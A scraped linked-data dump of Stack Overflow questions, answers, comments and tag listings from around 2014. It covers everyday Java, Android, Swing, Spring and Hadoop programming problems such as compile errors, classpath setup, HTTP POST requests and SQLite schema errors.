has body: I'm getting a series of errors I cannot figure out. Syntax Error on token "myBook", VariableDeclaratorId expected after this token. Syntax Error on token "myMovie", VariableDeclaratorId expected after this token. Syntax Error on token "myGame", VariableDeclaratorId expected after this token. Code snippet follows: package src.edu.htc.java1.library; import java.util.ArrayList; /** * */ /** * This class is used to test our library and media classes. * */ public class MediaTester { /** * This is the main test method * @param args - values passed in by the JVM when running * the application */ public static void main(String[] args) { Book myBook = new Book(); myBook.setLibraryId(123456L); myBook.setLocation("Eden Prairie"); myBook.setTitle("My Book Title"); ArrayList&lt;String&gt; authorList = new ArrayList&lt;String&gt;(); authorList.add("Joe Author"); authorList.add("Jane Author"); myBook.setAuthors(authorList); myBook.setCopyright("1984"); myBook.setFormat("paperback"); myBook.setNumberOfPages(385); myBook.setPublishers("Some Publisher"); System.out.println(myBook); Movies myMovie = new Movies(); myMovie.setTitle("Fargo"); myMovie.setReleaseDate(2123); myMovie.setDirector("Jie Wu"); myMovie.setActors("Jessie"); myMovie.setMPAA_rating("R"); ArrayList&lt;String&gt; actors = new ArrayList&lt;String&gt;(); actors.add("Tom Hanks"); System.out.println(myMovie); Games myGames = new Games(); myGames.setTitle("Starcraft"); myGames.setConsoleType("wii"); myGames.setEsbnRatings("E"); myGames.setReleaseDate("2012"); myGames.setPublishers("Blizzard"); System.out.println(myGames); } ArrayList&lt;Media&gt; myMediaList = new ArrayList&lt;Media&gt;(); myMediaList.add(myBook); myMediaList.add(myMovie); myMediaList.add(myGame); Library myLibrary = new Library(); for (Media item : myMediaList) { myLibrary.addToCollection(item); System.out.println(item); } } }
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22235923
has title: VariableDeclaratorID expected after this token. On myMediaList.add(myBook); (myMovies;) (myGames;)
type: Question
tagged with: java

http://stackoverflow.com/q/22169601
answer count: 3
tagged with: java
accepted answer: http://stackoverflow.com/a/22169961
has answer: http://stackoverflow.com/a/22169746
tagged with: classpath
has body: I have created a classpath in command prompt. Later I want to change that classpath to another location. Please help me. Thanks I have entered the command "set classpath= d:/java" Now i want to change this class path to some another location. Thanks
has answer: http://stackoverflow.com/a/22169817
has comment: http://stackoverflow.com/comment/33646557
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22169817
has answer: http://stackoverflow.com/a/22169961
type: Question
has title: How to change the classpath in command prompt?
score: 0
has comment: http://stackoverflow.com/comment/33646685

http://stackoverflow.com/q/22290673
has answer: http://stackoverflow.com/a/22290732
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33865900
possible better answer: http://stackoverflow.com/a/22290732
type: Question
score: 0
has answer: http://stackoverflow.com/a/22290796
has title: Running a scanner program
tagged with: java
answer count: 5
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33865778
accepted answer: http://stackoverflow.com/a/22290796
has answer: http://stackoverflow.com/a/22290849
has answer: http://stackoverflow.com/a/22290830
has body: I am trying to write a program that basically will read any integer from 1,000 to 999,999 and will then display it with a comma separating the thousands. So far I have this, and eclipse doesn't like it. Why? /* package whatever; // don't place package name! */ import java.util.*; import java.lang.*; import java.io.*; /* Name of the class has to be "Main" only if the class is public. */ class Ideone { public static void main (String[] args) throws java.lang.Exception { // Scanner scan = new scanner(system.in); double value, integer; System.out.println("Enter your value without a comma"); integer = scan.nextdouble(); System.out.println(integer,); scan.close();
has answer: http://stackoverflow.com/a/22290738

http://stackoverflow.com/q/22287318
tagged with: python
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25757006
has comment: http://stackoverflow.com/comment/33879631
tagged with: java
has comment: http://stackoverflow.com/comment/33859533
tagged with: http
tagged with: post
type: Question
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33895282
has title: Why does converting this Python POST request to Java not work?
tagged with: android
has answer: http://stackoverflow.com/a/25757006
has body: I'm trying to convert this Python code using the Python Requests HTTP library into Java code (for Android). import requests payload = {"attr[val1]":123, "attr[val2]":456, "time":0, "name":"Foo","surname":"Bar"} r = requests.post("http://jakiro.herokuapp.com/api", data=payload) r.status_code r.text This is what I've done so far: protected void sendJson() { Thread t = new Thread() { public void run() { Looper.prepare(); //For Preparing Message Pool for the child Thread HttpClient client = new DefaultHttpClient(); HttpConnectionParams.setConnectionTimeout(client.getParams(), 10000); //Timeout Limit HttpResponse response; JSONObject json = new JSONObject(); try { Log.v("SOMETHING_NAME3", "Creating POST"); HttpPost post = new HttpPost("http://jakiro.herokuapp.com/api"); json.put(MessageAttribute.SURNAME, "Bar"); json.put(MessageAttribute.VAL1, 123); json.put(MessageAttribute.VAL2, 456); json.put(MessageAttribute.name, "Foo"); json.put(MessageAttribute.TIME, 0); StringEntity se = new StringEntity( json.toString() ); se.setContentType(new BasicHeader(HTTP.CONTENT_TYPE, "application/json")); post.setEntity(se); response = client.execute(post); /*Checking response */ if(response!=null){ InputStream in = response.getEntity().getContent(); //Get the data in the entity String foo = convertStreamToString(in); Log.v("SOMETHING_NAME2", foo); // Gives me "Bad request" } } catch(Exception e) { e.printStackTrace(); Log.v("SOMETHING_NAME", "Cannot Establish Connection"); } Looper.loop(); //Loop in the message queue } }; t.start(); } I've checked the response with response.getStatusLine().getStatusCode() and I get back a 400 from the server. The Python code works fine, but in Java on an Android device it doesn't. I can't see to figure out why though.
favorite count: 0
linked to: http://stackoverflow.com/q/8120220
upvote count: 2
has comment: http://stackoverflow.com/comment/33861575

http://stackoverflow.com/comment/33838878
comment on: http://stackoverflow.com/q/22275403
type: Comment
type: QuestionComment
has text: No, not necessarily. `read()` doesn't guarantee to read as many bytes as the array you pass as argument. Read its javadoc. It returns the actual number of bytes that have been read. So you need to loop until all it returns -1 (which indicates EOF). And you're not forced to read everything in memory. You could read chunks of bytes and write them to the response, to avoid consuming too much memory. You'll need to send the number of *bytes* of the body in the Content-Length header though. Or to implement chunked responses.
score: 0

database
tags question: http://stackoverflow.com/q/22205876
tags question: http://stackoverflow.com/q/22299689
tags question: http://stackoverflow.com/q/22274475
tags question: http://stackoverflow.com/q/22245463
tags question: http://stackoverflow.com/q/22307225
tags question: http://stackoverflow.com/q/22204986
tags question: http://stackoverflow.com/q/22271538
tags question: http://stackoverflow.com/q/22195411
tags question: http://stackoverflow.com/q/22180870
tags question: http://stackoverflow.com/q/22180399
type: Tag
tags question: http://stackoverflow.com/q/22266451
tags question: http://stackoverflow.com/q/22298303
tags question: http://stackoverflow.com/q/22247253
tags question: http://stackoverflow.com/q/22286649
tags question: http://stackoverflow.com/q/22324937
tags question: http://stackoverflow.com/q/22224060
tags question: http://stackoverflow.com/q/22286866
tags question: http://stackoverflow.com/q/22218268
tags question: http://stackoverflow.com/q/22235691
tags question: http://stackoverflow.com/q/22186175
tags question: http://stackoverflow.com/q/22304310
tags question: http://stackoverflow.com/q/22282821
tags question: http://stackoverflow.com/q/22277551
tags question: http://stackoverflow.com/q/22258101
tag name: database
tags question: http://stackoverflow.com/q/22264112
tags question: http://stackoverflow.com/q/22200177
tags question: http://stackoverflow.com/q/22314416
tags question: http://stackoverflow.com/q/22305256
tags question: http://stackoverflow.com/q/22207922
tags question: http://stackoverflow.com/q/22309637
tags question: http://stackoverflow.com/q/22247672
tags question: http://stackoverflow.com/q/22259299
tags question: http://stackoverflow.com/q/22214828
tags question: http://stackoverflow.com/q/22172748
tags question: http://stackoverflow.com/q/22222714
tags question: http://stackoverflow.com/q/22324638
tags question: http://stackoverflow.com/q/22188102
tags question: http://stackoverflow.com/q/22248687
tags question: http://stackoverflow.com/q/22183052
tags question: http://stackoverflow.com/q/22275878
tags question: http://stackoverflow.com/q/22320882
tags question: http://stackoverflow.com/q/22172971
tags question: http://stackoverflow.com/q/22273758
tags question: http://stackoverflow.com/q/22264488
tags question: http://stackoverflow.com/q/22213707
tags question: http://stackoverflow.com/q/22177733

http://stackoverflow.com/q/22287873
has answer: http://stackoverflow.com/a/22287932
has comment: http://stackoverflow.com/comment/33861110
score: 1
favorite count: 0
has body: I want my application to display an alert if the stock count is below the reorder level. The alert should function the same way security alerts do from most antivirus. By this I mean the alert should be at the right bottom corner and once it appears, the user can continue interacting with the application as the alert displays the message. The alert then disappears after some time, say 5 seconds. Anyone who can help me a way out...
possible better answer: http://stackoverflow.com/a/22287928
upvote count: 1
has answer: http://stackoverflow.com/a/22287928
has comment: http://stackoverflow.com/comment/33860579
tagged with: swing
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22287932
tagged with: alert
tagged with: java
has title: How to make an alert if a particular condition is not met in java
type: Question
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/33745658
has text: Looking into JDK sources: `int parseInt(String s) {return parseInt(s,10);}`
comment on: http://stackoverflow.com/a/22225061
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/22259955
has answer: http://stackoverflow.com/a/22260066
has title: How do I use the repaint() method when someone clicks?
type: UnansweredQuestion
tagged with: java
has body: Im still learning Java, I can programm simple softwares but I am completely rubbish when it comes down to creating GUIs. I want to make a simple GUI that prints out a simple rectangle on the screen and where ever the user clicks within that GUI, the rectangle is moved to that location. import java.awt.Color; import java.awt.FlowLayout; import java.awt.Graphics; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import javax.swing.JFrame; import javax.swing.JPanel; public class circle extends JPanel implements MouseListener { int x = 0; int y = 0; public void paint(Graphics g) { g.setColor(Color.BLUE); g.fillRect(x, y, 25, 10); } @Override public void mouseClicked(MouseEvent m) { x = m.getX(); y = m.getY(); repaint(); } I obviously missed out on mouseEntered/Exited/Pressed/Released since that doesn't contain any code yet. What im failing to understand is that why is the rectangle not printing out where I click unless I'm using the wrong methods like repaint.... My main class: import javax.swing.JFrame; public class main { public static void main(String[] args) { // TODO Auto-generated method stub JFrame f = new JFrame("Circle Prog"); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); circle co = new circle(); f.add(co); f.setSize(300, 300); f.setVisible(true); } }
type: Question
answer count: 2
tagged with: user-interface
score: 0
has answer: http://stackoverflow.com/a/22260041

http://stackoverflow.com/q/22264739
has answer: http://stackoverflow.com/a/22264801
type: AnsweredQuestion
type: Question
tagged with: java
accepted answer: http://stackoverflow.com/a/22264801
score: 0
tagged with: mongodb
answer count: 1
has title: How do I add a $comment to a distinct or aggregate call using the Java driver for mongodb?
tagged with: driver
has body: I'm using mongodb with the Java driver. I want to add a $comment to every call I make to the database. For find I use the addSpecial method on DBCursor with a $comment key. How would I add a similar $comment to aggregate and distinct calls made on DBCollection? Thanks for the help.

http://stackoverflow.com/a/22272259
has comment: http://stackoverflow.com/comment/33831965
downvote count: 1
answers question: http://stackoverflow.com/q/22271948
upvote count: 0
score: -1
type: Answer
has body: Here's how to make new instances of Chicken during run time, depending on user input : import java.util.Scanner; import java.util.Vector; public class A { public static void main(String[] args) { System.out.println("Enter number of chikens :"); Scanner scanner = new Scanner(System.in); int numberOfChukens = scanner.nextInt(); Vector chikenArray = new Vector&lt;&gt;(); for(int i=0;i&lt;numberOfChukens;i++) { chikenArray.add(new Chiken()); } } }

http://stackoverflow.com/a/22262069
answers question: http://stackoverflow.com/q/22261997
type: Answer
score: 0
has body: Try to change your HashMap like this: private static HashMap&lt;String, List&lt;Object&gt;&gt; musiksammlung = new HashMap&lt;String,List&lt;Object&gt;&gt;(); So you can save any kind of objects in this HashMap. Also use instanceof to check the type of the object before using it.

http://stackoverflow.com/comment/33922244
type: Comment
type: QuestionComment
has text: jst press enter twice in the java code(and save) and run it again.
score: 0
comment on: http://stackoverflow.com/q/22322709

http://stackoverflow.com/a/22265436
has comment: http://stackoverflow.com/comment/33821138
has comment: http://stackoverflow.com/comment/33823621
has comment: http://stackoverflow.com/comment/33823741
has comment: http://stackoverflow.com/comment/33821228
has comment: http://stackoverflow.com/comment/33823674
has comment: http://stackoverflow.com/comment/33820962
has body: Import your package to your mapred code then add your jar file's path in HADOOP_CLASSPATH before running your mapred job. E.g. In your mapred java import your.external.package; On compilation javac -cp /path/to/your/external/package.jar:... On running the hadoop jar export HADOOP_CLASSPATH=/path/to/your/external/package.jar hadoop jar yourmapred.jar your.class -libjar /path/to/your/external/package.jar ....
answers question: http://stackoverflow.com/q/22245425
score: 0
has comment: http://stackoverflow.com/comment/33823371
has comment: http://stackoverflow.com/comment/33822090
type: Answer

http://stackoverflow.com/a/22222450
has comment: http://stackoverflow.com/comment/33749004
upvote count: 1
score: 1
has body: Eclipse Web Tools Platform offers this http://www.eclipse.org/webtools/releases/3.0.0/newandnoteworthy/jsf.php Hyperlink support in WPE's Source tab The Source tab of the Web Page Editor (WPE) supports Hyperlink on a Managed Bean variable, Managed Bean property and Managed Bean method referenced in the Expression Language(EL) of a tag-attribute. Users can (Ctrl+click) on the hyperlink to navigate to the source of the Managed Bean.
downvote count: 0
answers question: http://stackoverflow.com/q/22221552
has comment: http://stackoverflow.com/comment/33746047
type: Answer
has comment: http://stackoverflow.com/comment/33747546
has comment: http://stackoverflow.com/comment/33747748

http://stackoverflow.com/comment/33764864
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22235025
has text: Cant post the surrounding code this is telling me its not written correctly and don't know how to correct. I will post the log errors

http://stackoverflow.com/q/22282924
has title: Android Saving String to Database
tagged with: java
type: Question
has body: I am new in Android development, And right now what I am trying to do is to save Message that I type and Username. I got this code from vogella.com, but it was written only for messages. And I have tried to add Username, but I get an error "java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.testdatabaseactivity/com.example.testdatabaseactivity.TestDatabaseActivity}: android.database.sqlite.SQLiteException: no such column: SENDER (code 1): , while compiling: SELECT _id, SENDER, MESSAGE FROM MESSAGES" And I can't figure out what Is wrong. Need a little help. MessagesDataSource.java package com.example.testdatabaseactivity; import java.util.ArrayList; import java.util.List; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.SQLException; import android.database.sqlite.SQLiteDatabase; public class MessagesDataSource { // Database fields private SQLiteDatabase database; private MySQLiteHelper dbHelper; private String[] allColumns = { MySQLiteHelper.COLUMN_ID, MySQLiteHelper.COLUMN_SENDER, MySQLiteHelper.COLUMN_MESSAGE}; public MessagesDataSource(Context context) { dbHelper = new MySQLiteHelper(context); } public void open() throws SQLException { database = dbHelper.getWritableDatabase(); } public void close() { dbHelper.close(); } public Message createMessage(String sender, String message) { ContentValues values = new ContentValues(); values.put(MySQLiteHelper.COLUMN_MESSAGE, message); values.put(MySQLiteHelper.COLUMN_SENDER, sender); long insertId = database.insert(MySQLiteHelper.TABLE_MESSAGES, null,values); Cursor cursor = database.query(MySQLiteHelper.TABLE_MESSAGES,allColumns, MySQLiteHelper.COLUMN_ID + " = " + insertId, null,null, null, null); cursor.moveToFirst(); Message newMessage = cursorToMessage(cursor); cursor.close(); return newMessage; } public List&lt;Message&gt; getAllMessages() { List&lt;Message&gt; messages = new ArrayList&lt;Message&gt;(); Cursor cur…
score: 0
has answer: http://stackoverflow.com/a/22283035
answer count: 2
tagged with: sqlite
accepted answer: http://stackoverflow.com/a/22282954
tagged with: android
has comment: http://stackoverflow.com/comment/33851250
has answer: http://stackoverflow.com/a/22282954
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/18718178
possible better answer: http://stackoverflow.com/a/22283035

http://stackoverflow.com/comment/37676539
comment on: http://stackoverflow.com/a/22301498
has text: `@Primary @Component` and `@Autowired` did the trick when @Qualifier didn't.
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/a/22216823
answers question: http://stackoverflow.com/q/22216762
accepted answer of: http://stackoverflow.com/q/22216762
type: AcceptedAnswer
score: 1
has comment: http://stackoverflow.com/comment/33731586
has body: Element element = document.select("div.thumb-box thumb-160").first(); you have to use . (dot) for every class Element element = document.select("div.thumb-box.thumb-160").first(); Besides it is rather straight forward do select like this Element element = document.select("div.thumb-box.thumb-160:eq(0) a").first(); This yould yet you anchor element out of the box
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33731711
has comment: http://stackoverflow.com/comment/33731590
has comment: http://stackoverflow.com/comment/33731685
downvote count: 0

http://stackoverflow.com/comment/33809942
comment on: http://stackoverflow.com/a/22259580
type: AnswerComment
score: 0
type: Comment
has text: Dear @JonSkeet thanks for your response and support. I have done some mistakes in my code before and i got exceptions. now everything is clear

http://stackoverflow.com/q/22225084
accepted answer: http://stackoverflow.com/a/22225500
possible better answer: http://stackoverflow.com/a/22225351
has answer: http://stackoverflow.com/a/22225351
type: Question
answer count: 2
has body: I am developing two Android applications with similar -- but not identical -- logic, and I want to share code between them. Currently, I have a project for each application, and an additional project for shared classes. The shared-classes project is a library, and the application projects are linked to this library. The problem I have is with a class that's responsible for getting data from the server and caching that data. The class is called DataSingleton. Fetching the data has some logic which is the same for both applications, and some which is different. My question is how to design the class to support this. There are some limitations here: The data Singleton should be a singleton, as implied by its name. Some of the shared logic in the shared project uses the DataSingleton, so the DataSingleton must also be in the shared-classes project (otherwise I get a build error). I don't want to put the application-specific logic in the shared project. If this was C++, I would have 2 different classes name DataSingleton -- one in each application -- and then have the linker connect the correct class. Both classes could inherit from some common base class, to handle the code sharing for shared logic. Can I do something similar in Java? If it helps, I can "initialize" the DataSingleton at the start of the application with some argument that will determine its behavior. I thought about passing a class to it, but then that class doesn't have access to the DataSingleton's private members. What is the "right" way to do this?
score: 0
has title: Sharing Singleton logic between projects, with modifications for each project
has answer: http://stackoverflow.com/a/22225500
tagged with: android
type: AnsweredQuestion
tagged with: java

floating-accuracy
tags question: http://stackoverflow.com/q/22189081
tag name: floating-accuracy
type: Tag

http://stackoverflow.com/comment/33904585
has text: My guess is that the "hacker" version is a *minimum* of 10 major machine cycles, and very easily 4 times that many. (The fact that the same operand is the source and destination of so many sequential steps is a major pipeline killer.) While raw hardware integer division is inherently 2-4 times slower than multiplication, most modern processors manage to accelerate it pretty well, to where it likely only takes maybe 8 major cycles -- 32 worst case. (Processors with independent multiply/divide units will do much better.)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22312030
score: 0

http://stackoverflow.com/a/22231718
has comment: http://stackoverflow.com/comment/33783227
type: Answer
has comment: http://stackoverflow.com/comment/33783176
has comment: http://stackoverflow.com/comment/33782961
accepted answer of: http://stackoverflow.com/q/22227022
has comment: http://stackoverflow.com/comment/33858958
answers question: http://stackoverflow.com/q/22227022
has comment: http://stackoverflow.com/comment/33783287
has comment: http://stackoverflow.com/comment/33785012
score: 0
has body: This is how JSP works. JSP is converted to a servlet, that runs in the server side, serving http requests. When you click on a link in the browser, you're generating an event in the browser. This event may or may not generate a http request, and this request may or may not be sent to your servlet. If you need to capture the events in the browser, you have two ways I guess [1] capture the events in the client side, using for example a browser plugin. This is how automation plugins such as selenium works. They are pieces of code that run in the browser (in the client). [2] attach some javascript code in your page to the click event on every link, so if someone clicks on some anchor element, you also generate a http request to your servlet so you can log the event. The problem of this approach is that you need javascript code for all your pages in order to do that.
type: AcceptedAnswer

http://stackoverflow.com/a/22311474
accepted answer of: http://stackoverflow.com/q/22311374
answers question: http://stackoverflow.com/q/22311374
has comment: http://stackoverflow.com/comment/33903868
downvote count: 0
type: AcceptedAnswer
has body: for calling ClassA.doGet(); you need to make it Static, public classA { public static void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/html; charset=UTF-8"); try { temp.process(root, resp.getWriter()); } catch (TemplateException e) { throw new IOException("Error while processing Freemarker template", e); } } } you also have to pass the arguments like : package webapp public class servlet extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { ClassA.doGet(req,resp); } } If you want more informations post the complete stack trace, so we can provide better support
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/comment/33786523
comment on: http://stackoverflow.com/a/22247069
score: 0
type: AnswerComment
has text: sorry man i got this exception : **java.net.ConnectException: Connection timed out: connect** , this line is suspecious : **emailStore.connect(pop3Host, user, password);** thanks...
type: Comment

http://stackoverflow.com/q/22287345
possible better answer: http://stackoverflow.com/a/25116970
accepted answer: http://stackoverflow.com/a/23811332
type: AnsweredQuestion
tagged with: mapping
has title: Is there mapping library with startup check of correct bean mapping?
tagged with: java
type: Question
has body: so we are developing classic multi-tier application and one of the usual things we often need to do is to map between domain entities, DTOs, other DTOs from different layers etc. Right now, we are doing this manually and I am actually quite fine with that. Some colleagues are bothered by this and want to have some more automatic way of object mapping - something like Dozer, Apache BeanUtils etc. What I don't like is that using this approach means losing static checking and refactoring - if you change property name in your domain entity, application will be broken, but compiler won't warn you - you will crash hard during run-time. Colleagues argue that once you will have everything covered by unit-tests, these errors will be catched. I'm not so sure that this will always be the case. However, I'd like to find solution which has the best of both worlds - safety of manual method and easiness and conciseness of semi-automatic mapping. I imagine that safety would be checked during application startup - this checking code would find all entities with defined mapping and would check if all mapped attributes have corresponding attributes in the other class. Does any mapping library do this? I couldn't find any info on this. I know that this could be quite easy to implement, but standard existing solution would be much better argument to use it. Thanks!
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25116970
has answer: http://stackoverflow.com/a/23811332
tagged with: dto

http://stackoverflow.com/comment/33772643
type: Comment
score: 0
has text: You may need to rethink on the design. Trigger first doesnt look like the correct solution in this context. You can try trigger by depth if transaction size is a concern.
type: AnswerComment
comment on: http://stackoverflow.com/a/22235105

http://stackoverflow.com/comment/33688406
type: Comment
type: QuestionComment
has text: The file is scaling_governor that contain the current governor.
score: 0
comment on: http://stackoverflow.com/q/22190516

http://stackoverflow.com/q/22284071
has title: JSP and Spring Validation
score: 0
tagged with: jstl
answer count: 1
tagged with: jsp
has comment: http://stackoverflow.com/comment/33853626
has answer: http://stackoverflow.com/a/22284321
tagged with: spring
type: AnsweredQuestion
has body: This is my BackupForm: public class BackupForm { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } } This is validator: @Component public class BackupFormValidator implements Validator { public boolean supports(Class&lt;?&gt; clazz) { return BackupForm.class.isAssignableFrom(clazz); } public void validate(Object target, Errors errors) { BackupForm backupForm = (BackupForm) target; if (backupForm.getName().length() == 0) { System.out.println("Empty"); errors.rejectValue("name", "name.empty", "Name field is empty."); } else { File file = new File(Configures.getDirectory() + "\\" + backupForm.getName() + ".sql"); if (file.exists()) { System.out.println("Exists"); errors.rejectValue("name", "name.exist", "File." + backupForm.getName() + ".sql already exists."); } } } } This is how I do in controller: @RequestMapping(value = "/backup", method = RequestMethod.POST) public String backupProcess( @ModelAttribute("backup") BackupForm backupForm, BindingResult result, Map&lt;String, Object&gt; map) { backupFormValidator.validate(backupForm, result); if (result.hasErrors()) { // Если обнаружилась ошибка, то добавим в карту идентификатор об // ошибке и вернем логическое представление поиска map.put("error", true); map.put("backup", new BackupForm()); map.put("search", new SearchForm()); return "backup"; } else { return "redirect:/"; } } It's works, but tag errors is not working: &lt;form:form method="POST" commandName="backup"&gt; &lt;c:if test="${!empty error}"&gt; &lt;div class="alert alert-danger"&gt; &lt;b&gt;Can not execute command!&lt;/b&gt; &lt;form:errors path="name" /&gt; &lt;/div&gt; &lt;/c:if&gt; &lt;div class="panel panel-default"&gt; &lt;div class="panel-heading"&gt;New backup&lt;/div&gt; &lt;div class="panel-body"&gt; &lt;table style="width: 100%; border-collapse: collapse;"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td style="vertical-align: top; width: 250px; letter-spacing: 0px; word-spacing: 0px;"&gt;&lt;…
type: Question
has comment: http://stackoverflow.com/comment/33853575
accepted answer: http://stackoverflow.com/a/22284321
tagged with: java

http://stackoverflow.com/a/22269518
has body: Firstly (though this isn't your specific problem), you're instantiating your JFrame on the main thread. This will be a problem later when you come to implement the action events. Have ProjectZ implement Runnable instead, then use EventQueue.invokeLater(...) in your main method to set it going. This will ensure you're running your user interface on the EWT not the main thread and that it will remain responsive. Regards your actual problem, difficult to tell without the stack trace from the NullPointerException (this will tell you specifically what pointer is null and thus where the problem is) but regards seeing the component, if you setVisible(true) after you have added the component it will invalidate (then revalidate) the component hierarchy at that time and your Background JPanel component should then be drawn. EDIT: Others have rightly pointed out that the JLayeredPane object used has never been instantiated. Your stack trace will tell you this too.
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/22269386
downvote count: 0
type: Answer

http://stackoverflow.com/comment/33699127
type: Comment
has text: you can declare your `GameView` inside the `RelativeLayout` and give it the position that you like.
type: AnswerComment
comment on: http://stackoverflow.com/a/22198802
score: 0

http://stackoverflow.com/comment/33813923
type: Comment
comment on: http://stackoverflow.com/a/22261899
has text: Yeah, it's not an integer. It's a string with the `$`. I guess I could just parse out the `$`... I feel that there is a better way to do it though. Maybe it's just friday.
score: 0
type: AnswerComment

http://stackoverflow.com/q/22218328
possible better answer: http://stackoverflow.com/a/22218407
has answer: http://stackoverflow.com/a/22218369
answer count: 4
tagged with: java
has comment: http://stackoverflow.com/comment/33734465
duplicate of: http://stackoverflow.com/q/9297899
downvote count: 1
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22218433
has answer: http://stackoverflow.com/a/22218439
upvote count: 5
has body: Code: char[] chars = "abcd".toCharArray(); System.out.println(chars.length); Question: How is length calculate by Java here? Since char is not a Class, I am not sure where length is stored. If it isn't stored, is it calculated every time you do chars.length? (I presume not)
score: 4
tagged with: char
linked to: http://stackoverflow.com/q/9297899
has title: How does Java calculate length of primitive array?
has answer: http://stackoverflow.com/a/22218407
tagged with: arrays
favorite count: 0
tagged with: primitive-types
accepted answer: http://stackoverflow.com/a/22218433

http://stackoverflow.com/comment/33693533
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/22193917
has text: @ShajeerAhmd yes i have

http://stackoverflow.com/comment/33841293
comment on: http://stackoverflow.com/a/22276013
type: AnswerComment
type: Comment
score: 1
has text: *"I am drawing my button in a JPanel,.."* ***How?*** Answer in the form of a [MCTaRE](http://stackoverflow.com/help/mcve) (Minimal Complete Tested and Readable Example). Hot-link to the image as advised above.

http://stackoverflow.com/q/22229077
answer count: 3
score: 3
tagged with: applicationcontext
has answer: http://stackoverflow.com/a/48187751
has answer: http://stackoverflow.com/a/22244561
tagged with: spring
type: AnsweredQuestion
upvote count: 3
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22244561
has body: I need to execute a certain procedure once my spring web application starts all of its beans. For this I created a ApplicationListener&lt;ContextRefreshedEvent&gt;. However, when I run the application it gets called several times (as we have contexts for different namespaces e.g. mvc-servlets, etc.) but I need this particular listener to be called only once and when all the context where properly initialized. Is there a way to achieve what I'm trying to do? I'm using spring 3.1.0.RELEASE.
has title: Spring ApplicationListener for ContextRefreshEvent. How to invoke only once per Hierarchy?
downvote count: 0
possible better answer: http://stackoverflow.com/a/22232251
favorite count: 0
has answer: http://stackoverflow.com/a/22232251

http://stackoverflow.com/comment/33670188
type: Comment
comment on: http://stackoverflow.com/q/22182376
has text: Do you only need to store this data in pairs or you will also need to know which players are in an arena?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33879957
score: 0
type: Comment
has text: No. it's basically "select * from t" with a where clause only to divide the work.
type: QuestionComment
comment on: http://stackoverflow.com/q/22298303

http://stackoverflow.com/a/78342641
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22250118
has body: It seems that xdg-java is abandoned. Instead you could use directories-jvm (https://github.com/dirs-dev/directories-jvm): dev.dirs:directories:26
downvote count: 0

http://stackoverflow.com/comment/33908629
type: Comment
has text: Why would a JPanel work like a JFrame, and why would you do **that**?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22314421

http://stackoverflow.com/q/22207603
has body: I have the following class: public final class Param&lt;T&gt; { private final String name; private T value; public Param(String name) { this.name = name; } public void setValue(T value) { this.value = value;} public T getValue() { return value; } } I would instantiate it in the following way: Param&lt;Long&gt; foo = new Param&lt;&gt;("bar"); Param&lt;String&gt; baz = new Param&lt;&gt;("foo"); I want to add a public boolean validate(String value) method to this class, which would do something like the following: public boolean validate(String value) { try { if (this.value instanceof String) return true; if (this.value instanceof Long) this.value = (T) Long.valueOf(value); else if (this.value instanceof Integer) this.value = (T) Integer.valueOf(value); //Snip.. a few more such conditions for Double, Float, and Booleans return true; } catch (NumberFormatException e) { return false; } } My question is, will the above method work, for correctly determining the 'type' of T and for correctly casting string value to T value? Or should I use a different approach for validating the parameters?
answer count: 2
has title: How to determine the class type of generic property in java without reflection?
downvote count: 0
has comment: http://stackoverflow.com/comment/33715269
tagged with: generics
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/22207681
has comment: http://stackoverflow.com/comment/33715189
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33715177
possible better answer: http://stackoverflow.com/a/22207698
tagged with: java
has answer: http://stackoverflow.com/a/22207698
has comment: http://stackoverflow.com/comment/33715582
has comment: http://stackoverflow.com/comment/33716055
type: Question
linked to: http://stackoverflow.com/q/1901164
accepted answer: http://stackoverflow.com/a/22207681

http://stackoverflow.com/a/58037031
has comment: http://stackoverflow.com/comment/102477680
answers question: http://stackoverflow.com/q/22223786
has comment: http://stackoverflow.com/comment/102494839
has comment: http://stackoverflow.com/comment/128866800
has comment: http://stackoverflow.com/comment/102477633
type: Answer
